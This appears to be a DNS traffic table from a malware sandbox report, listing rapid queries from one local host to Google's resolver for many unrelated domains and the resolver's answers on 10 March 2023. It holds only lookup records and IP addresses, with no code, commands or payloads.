Mar 10, 2023 07:56:56.743364096 CET	192.168.2.6	8.8.8.8	0x2544	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.743403912 CET	192.168.2.6	8.8.8.8	0x8515	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.743868113 CET	192.168.2.6	8.8.8.8	0x77cd	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.771368980 CET	192.168.2.6	8.8.8.8	0x367d	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.778857946 CET	192.168.2.6	8.8.8.8	0xa2f9	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.779624939 CET	192.168.2.6	8.8.8.8	0x9460	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.780527115 CET	192.168.2.6	8.8.8.8	0x2307	Standard query (0)	madjek.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.782953978 CET	192.168.2.6	8.8.8.8	0x8720	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.807374001 CET	192.168.2.6	8.8.8.8	0xeb73	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.823744059 CET	192.168.2.6	8.8.8.8	0x3c12	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.823807955 CET	192.168.2.6	8.8.8.8	0x612e	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.848468065 CET	192.168.2.6	8.8.8.8	0xb5f7	Standard query (0)	valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.851299047 CET	192.168.2.6	8.8.8.8	0x4cb4	Standard query (0)	s5w.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.852828979 CET	192.168.2.6	8.8.8.8	0x6489	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.855484009 CET	192.168.2.6	8.8.8.8	0x405	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.855967045 CET	192.168.2.6	8.8.8.8	0x8e81	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.855967045 CET	192.168.2.6	8.8.8.8	0x2dc6	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.857914925 CET	192.168.2.6	8.8.8.8	0xd950	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.860752106 CET	192.168.2.6	8.8.8.8	0xfe91	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.861481905 CET	192.168.2.6	8.8.8.8	0x716e	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.864408016 CET	192.168.2.6	8.8.8.8	0xed39	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.866161108 CET	192.168.2.6	8.8.8.8	0xd50c	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.867661953 CET	192.168.2.6	8.8.8.8	0xfa7	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.868261099 CET	192.168.2.6	8.8.8.8	0xb282	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.868299007 CET	192.168.2.6	8.8.8.8	0x9ed1	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.869785070 CET	192.168.2.6	8.8.8.8	0xe53f	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.869924068 CET	192.168.2.6	8.8.8.8	0x92f9	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.870543957 CET	192.168.2.6	8.8.8.8	0xd4f2	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.870992899 CET	192.168.2.6	8.8.8.8	0x21f2	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.871682882 CET	192.168.2.6	8.8.8.8	0xe245	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.871953011 CET	192.168.2.6	8.8.8.8	0x4b5	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.872378111 CET	192.168.2.6	8.8.8.8	0x2320	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.872714043 CET	192.168.2.6	8.8.8.8	0x53f4	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.874002934 CET	192.168.2.6	8.8.8.8	0xdd61	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.876194000 CET	192.168.2.6	8.8.8.8	0x9b7c	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.877682924 CET	192.168.2.6	8.8.8.8	0x2960	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.878678083 CET	192.168.2.6	8.8.8.8	0x7528	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.891736984 CET	192.168.2.6	8.8.8.8	0xfdba	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.893448114 CET	192.168.2.6	8.8.8.8	0x5a9c	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.903892994 CET	192.168.2.6	8.8.8.8	0xa824	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.904197931 CET	192.168.2.6	8.8.8.8	0xfd18	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.911179066 CET	192.168.2.6	8.8.8.8	0xc6d6	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.913482904 CET	192.168.2.6	8.8.8.8	0xd529	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.915147066 CET	192.168.2.6	8.8.8.8	0x99ab	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.931777000 CET	192.168.2.6	8.8.8.8	0x1f8f	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.938009977 CET	192.168.2.6	8.8.8.8	0x4ef6	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.941560030 CET	192.168.2.6	8.8.8.8	0xb84b	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.945677042 CET	192.168.2.6	8.8.8.8	0xdc9b	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.945765018 CET	192.168.2.6	8.8.8.8	0x5522	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.954047918 CET	192.168.2.6	8.8.8.8	0x9e14	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.959575891 CET	192.168.2.6	8.8.8.8	0xe6b6	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.960099936 CET	192.168.2.6	8.8.8.8	0x9bf7	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.966037989 CET	192.168.2.6	8.8.8.8	0x9b13	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.983133078 CET	192.168.2.6	8.8.8.8	0x1510	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.995409012 CET	192.168.2.6	8.8.8.8	0x8278	Standard query (0)	pellys.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:56.998399019 CET	192.168.2.6	8.8.8.8	0x719c	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.016143084 CET	192.168.2.6	8.8.8.8	0x171a	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.038758993 CET	192.168.2.6	8.8.8.8	0x53f7	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.077642918 CET	192.168.2.6	8.8.8.8	0xe7d9	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.141647100 CET	192.168.2.6	8.8.8.8	0x88fe	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.160588026 CET	192.168.2.6	8.8.8.8	0x8d42	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.166651011 CET	192.168.2.6	8.8.8.8	0x3713	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.168217897 CET	192.168.2.6	8.8.8.8	0x57d6	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.195816040 CET	192.168.2.6	8.8.8.8	0xd747	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.198904991 CET	192.168.2.6	8.8.8.8	0xf011	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.206427097 CET	192.168.2.6	8.8.8.8	0xd9f9	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.208482027 CET	192.168.2.6	8.8.8.8	0x37f9	Standard query (0)	mkm-gr.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.229481936 CET	192.168.2.6	8.8.8.8	0x94b7	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.233411074 CET	192.168.2.6	8.8.8.8	0x9e9e	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.235285044 CET	192.168.2.6	8.8.8.8	0x9bd1	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.235369921 CET	192.168.2.6	8.8.8.8	0xbceb	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.241847038 CET	192.168.2.6	8.8.8.8	0xe256	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.256244898 CET	192.168.2.6	8.8.8.8	0x2d	Standard query (0)	pro-fa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.269089937 CET	192.168.2.6	8.8.8.8	0x13aa	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.296230078 CET	192.168.2.6	8.8.8.8	0x9be5	Standard query (0)	shenhgts.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:57.324346066 CET	192.168.2.6	8.8.8.8	0x75ad	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2023 07:54:15.049642086 CET	8.8.8.8	192.168.2.6	0x7445	No error (0)	www.dgmna.com	dgmna.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.049642086 CET	8.8.8.8	192.168.2.6	0x7445	No error (0)	dgmna.com		192.124.249.20	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.059587955 CET	8.8.8.8	192.168.2.6	0x94e1	No error (0)	www.jenco.co.uk		104.21.23.9	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.059587955 CET	8.8.8.8	192.168.2.6	0x94e1	No error (0)	www.jenco.co.uk		172.67.208.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.074609995 CET	8.8.8.8	192.168.2.6	0xe276	No error (0)	www.quadlock.com	quadlock.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.074609995 CET	8.8.8.8	192.168.2.6	0xe276	No error (0)	quadlock.com		70.39.251.249	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.077841997 CET	8.8.8.8	192.168.2.6	0xa0fe	Name error (3)	www.wkhk.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.108165026 CET	8.8.8.8	192.168.2.6	0x2bec	No error (0)	www.olras.com		80.93.82.33	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.110497952 CET	8.8.8.8	192.168.2.6	0x32bb	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.110497952 CET	8.8.8.8	192.168.2.6	0x32bb	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.113353968 CET	8.8.8.8	192.168.2.6	0x2751	Server failure (2)	www.ftchat.com	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.189827919 CET	8.8.8.8	192.168.2.6	0x7562	No error (0)	www.pdqhomes.com	traff-2.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.189827919 CET	8.8.8.8	192.168.2.6	0x7562	No error (0)	traff-2.hugedomains.com	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.189827919 CET	8.8.8.8	192.168.2.6	0x7562	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.204.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.189827919 CET	8.8.8.8	192.168.2.6	0x7562	No error (0)	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com		3.130.253.23	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.280213118 CET	8.8.8.8	192.168.2.6	0xad0d	No error (0)	www.pr-park.com		118.27.125.181	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.283178091 CET	8.8.8.8	192.168.2.6	0x6856	No error (0)	www.baijaku.com	baijaku.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.283178091 CET	8.8.8.8	192.168.2.6	0x6856	No error (0)	baijaku.com		59.106.19.204	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.596704006 CET	8.8.8.8	192.168.2.6	0x8cfe	No error (0)	www.rs-ag.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.596704006 CET	8.8.8.8	192.168.2.6	0x8cfe	No error (0)	www.rs-ag.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.629110098 CET	8.8.8.8	192.168.2.6	0xe42e	No error (0)	www.alteor.cl	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.629110098 CET	8.8.8.8	192.168.2.6	0xe42e	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:15.629110098 CET	8.8.8.8	192.168.2.6	0xe42e	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.996515989 CET	8.8.8.8	192.168.2.6	0xd4fd	No error (0)	www.valdal.com		172.67.73.176	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.996515989 CET	8.8.8.8	192.168.2.6	0xd4fd	No error (0)	www.valdal.com		104.26.6.221	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:15.996515989 CET	8.8.8.8	192.168.2.6	0xd4fd	No error (0)	www.valdal.com		104.26.7.221	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.112821102 CET	8.8.8.8	192.168.2.6	0xd069	No error (0)	www.mqs.com.br	www.mqs.com.br.cdn.gocache.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:16.112821102 CET	8.8.8.8	192.168.2.6	0xd069	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.174.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.112821102 CET	8.8.8.8	192.168.2.6	0xd069	No error (0)	www.mqs.com.br.cdn.gocache.net		170.82.173.30	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.129194975 CET	8.8.8.8	192.168.2.6	0xb55c	No error (0)	www.credo.edu.pl		62.122.190.121	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.135721922 CET	8.8.8.8	192.168.2.6	0x2d9d	No error (0)	www.item-pr.com	item-pr.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:16.135721922 CET	8.8.8.8	192.168.2.6	0x2d9d	No error (0)	item-pr.com		213.186.33.17	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.135721922 CET	8.8.8.8	192.168.2.6	0x2d9d	No error (0)	item-pr.com		185.15.129.58	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.147629976 CET	8.8.8.8	192.168.2.6	0x12c1	No error (0)	www.depalo.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:16.147629976 CET	8.8.8.8	192.168.2.6	0x12c1	No error (0)	ghs.googlehosted.com		216.58.215.243	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.272757053 CET	8.8.8.8	192.168.2.6	0x122a	No error (0)	www.vazir.se		206.191.152.37	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.915333033 CET	8.8.8.8	192.168.2.6	0x974b	No error (0)	www.elpro.si		172.67.70.22	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.915333033 CET	8.8.8.8	192.168.2.6	0x974b	No error (0)	www.elpro.si		104.26.14.53	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:16.915333033 CET	8.8.8.8	192.168.2.6	0x974b	No error (0)	www.elpro.si		104.26.15.53	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.047040939 CET	8.8.8.8	192.168.2.6	0x3c86	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.061038017 CET	8.8.8.8	192.168.2.6	0xf1e5	No error (0)	www.nunomira.com	nunomira.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:17.061038017 CET	8.8.8.8	192.168.2.6	0xf1e5	No error (0)	nunomira.com		192.241.158.94	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.080935955 CET	8.8.8.8	192.168.2.6	0x1443	No error (0)	www.otena.com		99.83.154.118	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.126019955 CET	8.8.8.8	192.168.2.6	0x3877	No error (0)	www.tvtools.fi		172.67.152.159	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.126019955 CET	8.8.8.8	192.168.2.6	0x3877	No error (0)	www.tvtools.fi		104.21.88.198	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.127832890 CET	8.8.8.8	192.168.2.6	0x409	No error (0)	www.transsib.com	www.studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:17.127832890 CET	8.8.8.8	192.168.2.6	0x409	No error (0)	www.studyrussian.com	studyrussian.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:17.127832890 CET	8.8.8.8	192.168.2.6	0x409	No error (0)	studyrussian.com		80.74.154.6	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.137427092 CET	8.8.8.8	192.168.2.6	0x6b18	No error (0)	www.petsfan.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:17.137427092 CET	8.8.8.8	192.168.2.6	0x6b18	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:17.137427092 CET	8.8.8.8	192.168.2.6	0x6b18	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.137427092 CET	8.8.8.8	192.168.2.6	0x6b18	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:17.227588892 CET	8.8.8.8	192.168.2.6	0x20e1	No error (0)	www.abart.pl	abart.pl		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:17.227588892 CET	8.8.8.8	192.168.2.6	0x20e1	No error (0)	abart.pl		89.161.163.246	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.232557058 CET	8.8.8.8	192.168.2.6	0xbfa7	No error (0)	www.iamdirt.com	gcdn0.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:18.232557058 CET	8.8.8.8	192.168.2.6	0xbfa7	No error (0)	gcdn0.wixdns.net	td-ccm-168-233.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:18.232557058 CET	8.8.8.8	192.168.2.6	0xbfa7	No error (0)	td-ccm-168-233.wixdns.net		34.117.168.233	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.476238012 CET	8.8.8.8	192.168.2.6	0x4b9a	No error (0)	www.t-tre.com		135.181.73.98	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.476464033 CET	8.8.8.8	192.168.2.6	0x7356	No error (0)	www.nelipak.nl		82.201.61.230	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.572211981 CET	8.8.8.8	192.168.2.6	0xe9f1	No error (0)	www.abdg.com		192.252.154.18	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.611603975 CET	8.8.8.8	192.168.2.6	0xda20	No error (0)	www.naoi-a.com		202.254.236.40	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.623872995 CET	8.8.8.8	192.168.2.6	0x965a	No error (0)	www.evcpa.com	evcpa.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:18.623872995 CET	8.8.8.8	192.168.2.6	0x965a	No error (0)	evcpa.com		192.124.249.10	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.728503942 CET	8.8.8.8	192.168.2.6	0x5da2	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:18.857405901 CET	8.8.8.8	192.168.2.6	0x5c95	No error (0)	www.ora.ecnet.jp	ora.ecnet.jp		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:18.857405901 CET	8.8.8.8	192.168.2.6	0x5c95	No error (0)	ora.ecnet.jp		60.43.154.138	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.228096008 CET	8.8.8.8	192.168.2.6	0x20d6	No error (0)	www.wifi4all.nl		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.228096008 CET	8.8.8.8	192.168.2.6	0x20d6	No error (0)	www.wifi4all.nl		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.234249115 CET	8.8.8.8	192.168.2.6	0x50a1	No error (0)	www.hummer.hu	hummer.hu		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:19.234249115 CET	8.8.8.8	192.168.2.6	0x50a1	No error (0)	hummer.hu		185.80.51.179	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.565469027 CET	8.8.8.8	192.168.2.6	0x95d	No error (0)	www.synetik.net	synetik.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:19.565469027 CET	8.8.8.8	192.168.2.6	0x95d	No error (0)	synetik.net		193.166.255.171	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.579984903 CET	8.8.8.8	192.168.2.6	0xb5ab	No error (0)	www.vexcom.com		172.67.173.200	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.579984903 CET	8.8.8.8	192.168.2.6	0xb5ab	No error (0)	www.vexcom.com		104.21.55.224	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.597028017 CET	8.8.8.8	192.168.2.6	0x9d6d	No error (0)	www.edimart.hu		81.2.194.241	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.656138897 CET	8.8.8.8	192.168.2.6	0xb849	No error (0)	www.cokocoko.com	traff-3.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:19.656138897 CET	8.8.8.8	192.168.2.6	0xb849	No error (0)	traff-3.hugedomains.com	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:19.656138897 CET	8.8.8.8	192.168.2.6	0xb849	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.18.7.81	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:19.656138897 CET	8.8.8.8	192.168.2.6	0xb849	No error (0)	hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com		3.19.116.195	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.172616005 CET	8.8.8.8	192.168.2.6	0x59	No error (0)	www.fcwcvt.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.172616005 CET	8.8.8.8	192.168.2.6	0x59	No error (0)	www.fcwcvt.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.179335117 CET	8.8.8.8	192.168.2.6	0xa7c4	No error (0)	www.xaicom.es	xaicom.es		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:20.179335117 CET	8.8.8.8	192.168.2.6	0xa7c4	No error (0)	xaicom.es		188.165.133.163	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.609590054 CET	8.8.8.8	192.168.2.6	0xe8bb	No error (0)	www.waldi.pl	waldi.pl		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:20.609590054 CET	8.8.8.8	192.168.2.6	0xe8bb	No error (0)	waldi.pl		46.242.238.60	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.612377882 CET	8.8.8.8	192.168.2.6	0x5fa0	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.625813007 CET	8.8.8.8	192.168.2.6	0xacc2	No error (0)	www.sjbs.org	sjbs.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:20.625813007 CET	8.8.8.8	192.168.2.6	0xacc2	No error (0)	sjbs.org		69.163.239.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.706306934 CET	8.8.8.8	192.168.2.6	0xa89b	No error (0)	www.yocinc.org		66.94.119.160	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.894494057 CET	8.8.8.8	192.168.2.6	0x74ae	No error (0)	www.jacomfg.com		96.127.180.42	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.911345959 CET	8.8.8.8	192.168.2.6	0x5ab6	No error (0)	www.pcgrate.com		172.67.201.26	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:20.911345959 CET	8.8.8.8	192.168.2.6	0x5ab6	No error (0)	www.pcgrate.com		104.21.66.46	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.008771896 CET	8.8.8.8	192.168.2.6	0x26c	No error (0)	www.aevga.com	aevga.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2023 07:54:21.008771896 CET	8.8.8.8	192.168.2.6	0x26c	No error (0)	aevga.com		108.167.164.216	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.142899036 CET	8.8.8.8	192.168.2.6	0x27ac	No error (0)	www.gpthink.com		39.99.233.155	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.607013941 CET	8.8.8.8	192.168.2.6	0xfd36	No error (0)	www.snugpak.com		172.67.165.62	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.607013941 CET	8.8.8.8	192.168.2.6	0xfd36	No error (0)	www.snugpak.com		104.21.73.182	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.864399910 CET	8.8.8.8	192.168.2.6	0x1821	No error (0)	www.speelhal.net		217.19.237.54	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:54:21.951694965 CET	8.8.8.8	192.168.2.6	0xbc22	No error (0)	www.jchysk.com		208.97.178.138	A (IP address)	IN (0x0001)	false
